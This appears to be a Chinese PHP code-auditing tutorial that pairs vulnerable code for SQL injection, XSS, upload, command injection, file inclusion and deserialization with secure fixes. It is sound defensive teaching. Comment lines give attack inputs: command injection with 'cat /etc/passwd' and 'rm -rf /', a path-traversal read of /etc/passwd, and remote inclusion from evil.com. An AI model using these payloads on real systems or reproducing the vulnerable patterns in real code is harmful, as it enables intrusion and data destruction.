代码审计是发现安全漏洞的重要手段,本文详细讲解PHP代码审计的方法、常见漏洞类型及修复方案。
一、代码审计概述
1.1 审计流程
【代码审计流程】
1、信息收集 → 了解框架、目录结构、配置
2、漏洞挖掘 → 查找危险函数、追踪数据流
3、漏洞验证 → POC验证、确认影响范围
4、报告输出 → 漏洞描述、修复建议
1.2 常见漏洞类型
二、SQL注入审计
2.1 漏洞代码
<?php
// ❌ 危险:直接拼接SQL
$sql = "SELECT * FROM users WHERE id = " . $_GET['id'];
$result = $pdo->query($sql);
// ❌ 危险:字符串拼接
$sql = "SELECT * FROM users WHERE name LIKE '%" . $_GET['keyword'] . "%'";
2.2 安全修复
<?php
// ✅ 安全:预处理语句
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
$stmt->execute([$_GET['id']]);
// ✅ 安全:LIKE查询
$keyword = addcslashes($_GET['keyword'], '%_');
$stmt = $pdo->prepare("SELECT * FROM users WHERE name LIKE ?");
$stmt->execute(['%' . $keyword . '%']);
三、XSS跨站脚本审计
3.1 漏洞代码
<?php
// ❌ 反射型XSS
echo"搜索结果:" . $_GET['keyword'];
// ❌ 存储型XSS
$comment = $_POST['comment'];
$db->insert('comments', ['content' => $comment]);
// 显示时
echo $row['content'];
// ❌ DOM型XSS(前端)
// document.getElementById('output').innerHTML = location.hash;
3.2 安全修复
<?php
// ✅ 输出转义
echo"搜索结果:" . htmlspecialchars($_GET['keyword'], ENT_QUOTES, 'UTF-8');
// ✅ 封装转义函数
functione($string){
return htmlspecialchars($string, ENT_QUOTES, 'UTF-8');
}
echo"搜索结果:" . e($_GET['keyword']);
// ✅ 富文本使用HTMLPurifier
$config = HTMLPurifier_Config::createDefault();
$purifier = new HTMLPurifier($config);
$cleanHtml = $purifier->purify($_POST['content']);
四、文件上传审计
4.1 漏洞代码
<?php
// ❌ 危险:只检查扩展名
$ext = pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION);
if (in_array($ext, ['jpg', 'png', 'gif'])) {
move_uploaded_file($_FILES['file']['tmp_name'], 'uploads/' . $_FILES['file']['name']);
}
// 攻击:上传 shell.php.jpg 或 shell.jpg(内含PHP代码)
4.2 安全修复
<?php
functionsecureUpload($file, $allowedTypes = ['image/jpeg', 'image/png']){
// 1、检查MIME类型
$finfo = new finfo(FILEINFO_MIME_TYPE);
$mimeType = $finfo->file($file['tmp_name']);
if (!in_array($mimeType, $allowedTypes)) {
thrownewException('不允许的文件类型');
}
// 2、检查文件内容(图片验证)
if (strpos($mimeType, 'image/') === 0) {
$imageInfo = getimagesize($file['tmp_name']);
if ($imageInfo === false) {
thrownewException('无效的图片文件');
}
}
// 3、生成随机文件名
$ext = ['image/jpeg' => 'jpg', 'image/png' => 'png'][$mimeType];
$newName = bin2hex(random_bytes(16)) . '.' . $ext;
// 4、存储到非Web目录或设置不可执行
$uploadDir = '/var/uploads/';
$targetPath = $uploadDir . $newName;
if (!move_uploaded_file($file['tmp_name'], $targetPath)) {
thrownewException('上传失败');
}
return $newName;
}
五、命令注入审计
5.1 漏洞代码
<?php
// ❌ 危险:直接拼接命令
$ip = $_GET['ip'];
$output = shell_exec("ping -c 4 " . $ip);
// 攻击:ip=127.0.0.1; cat /etc/passwd
// 攻击:ip=127.0.0.1 && rm -rf /
5.2 安全修复
<?php
// ✅ 方案1:参数转义
$ip = escapeshellarg($_GET['ip']);
$output = shell_exec("ping -c 4 " . $ip);
// ✅ 方案2:白名单验证
functionpingHost($ip){
// 验证IP格式
if (!filter_var($ip, FILTER_VALIDATE_IP)) {
thrownewException('无效的IP地址');
}
return shell_exec("ping -c 4 " . escapeshellarg($ip));
}
// ✅ 方案3:避免使用shell命令
// 使用PHP原生函数替代
六、文件包含审计
6.1 漏洞代码
<?php
// ❌ 本地文件包含(LFI)
$page = $_GET['page'];
include("pages/" . $page . ".php");
// 攻击:page=../../../etc/passwd%00
// ❌ 远程文件包含(RFI)
include($_GET['url']);
// 攻击:url=http://evil.com/shell.txt
6.2 安全修复
<?php
// ✅ 白名单验证
$allowedPages = ['home', 'about', 'contact', 'products'];
$page = $_GET['page'] ?? 'home';
if (!in_array($page, $allowedPages)) {
$page = 'home';
}
include("pages/{$page}.php");
// ✅ 路径规范化检查
functionsafeInclude($file){
$basePath = realpath(__DIR__ . '/pages/');
$fullPath = realpath($basePath . '/' . $file . '.php');
// 确保文件在允许的目录内
if ($fullPath === false || strpos($fullPath, $basePath) !== 0) {
thrownewException('非法的文件路径');
}
include($fullPath);
}
七、反序列化审计
7.1 漏洞代码
<?php
// ❌ 危险:反序列化用户输入
$data = unserialize($_COOKIE['user_data']);
// 危险的类
classFileHandler{
public $filename;
publicfunction__destruct(){
// 析构时删除文件
if (file_exists($this->filename)) {
unlink($this->filename);
}
}
}
// 攻击者可构造恶意序列化数据删除任意文件
7.2 安全修复
<?php
// ✅ 方案1:使用JSON替代
$data = json_decode($_COOKIE['user_data'], true);
// ✅ 方案2:限制允许的类
$data = unserialize($input, ['allowed_classes' => ['User', 'Product']]);
// ✅ 方案3:签名验证
functionsecureSerialize($data, $key){
$serialized = serialize($data);
$signature = hash_hmac('sha256', $serialized, $key);
return base64_encode($signature . '|' . $serialized);
}
functionsecureUnserialize($input, $key){
$decoded = base64_decode($input);
[$signature, $serialized] = explode('|', $decoded, 2);
$expectedSignature = hash_hmac('sha256', $serialized, $key);
if (!hash_equals($expectedSignature, $signature)) {
thrownewException('签名验证失败');
}
return unserialize($serialized, ['allowed_classes' => false]);
}
八、审计工具推荐
8.1 静态分析工具
# PHPStan - 静态分析
composer require --dev phpstan/phpstan
./vendor/bin/phpstan analyse src
# Psalm - 类型检查和安全分析
composer require --dev vimeo/psalm
./vendor/bin/psalm
# RIPS - 专业PHP安全扫描(商业)
# Semgrep - 开源代码扫描
semgrep --config=p/php src/
8.2 危险函数清单
<?php
/*
【需要重点审计的危险函数】
命令执行:
- system(), exec(), shell_exec()
- passthru(), popen(), proc_open()
- 反引号 ``
代码执行:
- eval(), assert()
- preg_replace() 带/e修饰符
- create_function()
文件操作:
- include(), require()
- file_get_contents(), file_put_contents()
- fopen(), fwrite(), unlink()
数据库:
- mysql_query(), mysqli_query()
- PDO::query()(非预处理)
反序列化:
- unserialize()
其他:
- extract(), parse_str()
- call_user_func(), call_user_func_array()
*/
九、总结
9.1 安全编码原则
【安全编码原则】
1、输入验证
- 所有输入都不可信
- 使用白名单验证
- 类型和长度检查
2、输出编码
- HTML输出转义
- SQL使用预处理
- 命令使用转义函数
3、最小权限
- 数据库账号最小权限
- 文件系统最小权限
- 禁用危险函数
4、纵深防御
- 多层验证
- WAF防护
- 日志监控
📌 下期预告:《漏洞扫描工具使用》
💡 实践建议:定期进行代码审计,建立安全编码规范